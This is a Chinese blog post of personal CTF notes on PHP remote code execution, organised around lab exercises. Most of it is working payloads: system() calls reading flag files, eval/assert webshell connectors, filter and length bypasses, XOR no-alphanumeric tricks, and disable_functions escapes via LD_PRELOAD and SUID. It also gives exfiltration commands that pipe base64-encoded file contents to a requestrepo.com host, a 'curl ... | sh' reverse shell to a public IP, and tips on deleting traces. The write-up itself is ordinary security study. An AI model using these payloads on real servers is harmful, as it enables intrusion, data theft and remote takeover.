【心得】PHP的代码执行个人笔记

文章讲述了PHP中的各种代码执行方式,包括危险函数利用、字符过滤绕过、长度限制执行、函数禁用应对、位运算技巧以及无回显命令执行。讨论了写入文件、DNS和HTTP信道作为数据传输路径,以及反弹shell通道和延迟测试的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

①危险函数型代码执行

②字符过滤型代码执行

③长度限制型代码执行

④函数禁用型代码执行

⑤位运算绕过代码执行

⑥无回显下的命令执行

1. 写入文件、二次返回

2. DNS信道

3. Http信道

 4. 反弹shell信道

 

总结:


①危险函数型代码执行

例题1:web18

1=system('ls /');

1=system('cat /f*');

(或者直接蚁剑连)

例题2:web19

?1=system('ls /');

?1=system('cat /f*');

这里主要讲一下蚁剑的打法

(蚁剑只能连POST型的代码执行)

因为这里是GET型,所以如果直接连url会返回数据为空

最后加个转接头?1=eval($_POST[1]);就可以直接连上了 

例题3:web20

?1=system

2=tac /f*

注:下述payload不行

?1=eval

2=system('tac /f*'); 

原因:eval不是函数,而和echo一样是一种语言结构,所以不能被call_user_func调用

例题4:web21

(?看不懂思密达 )

这种情况得查手册

懂了

?1[]=tac /f*  (php中传数组,用数组的参数名+中括号)

1=system 

甚至可以这么玩

?1[0]=ls /&1[1]=tac /f*

1=system 

回显如下

②字符过滤型代码执行

例题5:web22

可以玩一个拼接绕过

?1=$a='sys';$b='tem';$c=$a.$b;$c($_POST[1]);

1=cat /f* 

 例题6:web23

过滤了; 和?

?>闭合,后面输入的任何东西都会被认为是文本文档

举例:

为了执行php代码 => 用php标记

过滤了?  =>   <?都不能用 考虑<script language="php"></script>

过滤了; => 看下图

最终payload:

?1=<script language="php">eval($_POST[1])</script>

可以直接连蚁剑,也可以手搓

1=system('tac /f*'); 

③长度限制型代码执行

例题7:web24

 前置知识:<? ?>是短标签,<?php ?>是长标签,在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?> 同时,只有开启这个才可以使用 <?= 以代替 <? echo 。

payload:

?1=<?`$_GET[2]`;&2=ls > 1.txt   (用php短标签,但这里没echo也就没回显,所以尝试写入文件)

然后访问1.txt,发现不行,可能是没有写的权限,也可能是命令没执行

做个实验

?1=<?`$_GET[2]`;&2=sleep 3 发现确实睡了三秒,成功执行,那这里就是没有写的权限了

尝试反弹shell(还是用傻瓜型your-shell.com哈哈哈)

?1=<?`$_GET[2]`;&2=curl https://your-shell.com/124.222.136.33:1337 | sh

成功拿下

④函数禁用型代码执行

(就是初听很nb的配置文件限制,disable_functions)

例题8:web25

 先尝试

?1=system('ls /');

没有任何回显

直接?1=phpinfo();

看见不少函数禁用

尝试连接蚁剑,这里转接头真的有很多学问

?1=eval($_POST[1]); 

?1=assert($_POST[1]);

?1=eval($_POST[1]);  + 蚁剑base64编码器

上面三种都连不上

随便贴一个:

 ?1=assert($_POST[1]);  + 蚁剑base64编码器 可以连上


连上后直接看flag文件是看不到的

直接用插件绕就好

例题9:web26

和上题基本一样,但禁用更严格

继续上插件

(用LD_PRELOAD)

 刷新目录发现多了一个.antproxy.php

 继续连

我勒个豆,还得suid提权

 上插件

发现suid提权文件有tac

直接tac /f*

ps:蚁剑的disable_functions插件的模式多试试,没有哪个可以通杀,具体哪个可以用与php版本和禁用函数有关 ,要灵活调整策略

⑤位运算绕过代码执行

例题10:web29

经典无字母数字RCE

这里用异或打一下

?code=("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%00%06%00"^"%60%60%60%20%2f%60%2a");

直接出flag

也可以取反/自增

⑥无回显下的命令执行

1. 写入文件、二次返回

例题11:web14

 ps:写入.txt文件可以直接用cat

因为cat的php文件不是以html形式显示,而是以txt形式显示,即使有<?php标签也不会渲染

?cmd=ls >1.txt

访问1.txt

?cmd=cat f*>1.txt 

继续访问1.txt(存在文件覆写,不用担心)

 

(如果你乐意,最后也可以?cmd=rm 1.txt,神不知鬼不觉)

2. DNS信道
 

dnslog外带数据量太小了,不推荐

3. Http信道

例题12:web16

这里推荐一个网站Dashboard - requestrepo.com

直接上payload: 

?cmd=curl http://qn0q93pe.requestrepo.com/?1=`ls | base64`

(为了避免空格问题,这里用base64编码)

?cmd=curl http://qn0q93pe.requestrepo.com/?1=`cat f* | base64`

 4. 反弹shell信道

例题13:web17

 默默掏出your-shell.com

?cmd=curl https://your-shell.com/124.222.136.33:1337 | sh 

总结:

(摘要)

Remote Code Exec 

Code指脚本语言(php)的代码

eval
总结:eval(字符串)  表示将字符串按照php的代码执行

call_user_func

call_user_func_array

php动态函数调用

命令执行和代码执行的区别
前者执行操作系统命令 或者执行 脚本语言的代码

函数返回值  函数名字(函数参数);

$ret =  system("calc");

1 危险函数利用

2 过滤了黑名单   
   
  如果仅仅在代码中过滤了函数名称,那么大概率就等于 没过滤

<?php `$_GET[2]`;?>

<?=`$_GET[2]`;?>

<?=`$_GET[2]`;

<?`$_GET[2]`;


无回显情况下的命令执行

通道

数据传输的路径 
  
shell_exec  

system 相比,没有回显结果 

1. 写入文件、二次返回

2. DNS信道

$flag="fla

JGZsYWc9ImZsYWd7MWE1MzFkNTUtMGRhNS00ODkzRhNS00ODkzLWE5ZWQtZD
ZsYWd7MWE1MzFkNTUtMGRhNS00ODkzRhNS00ODkzLWE5ZWQtZD
RhNS00ODkzLWE5ZWQtZD

3 http信道

4 反弹shell信道

公网IP

5 延时  sleep 3 (测试命令是否执行)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值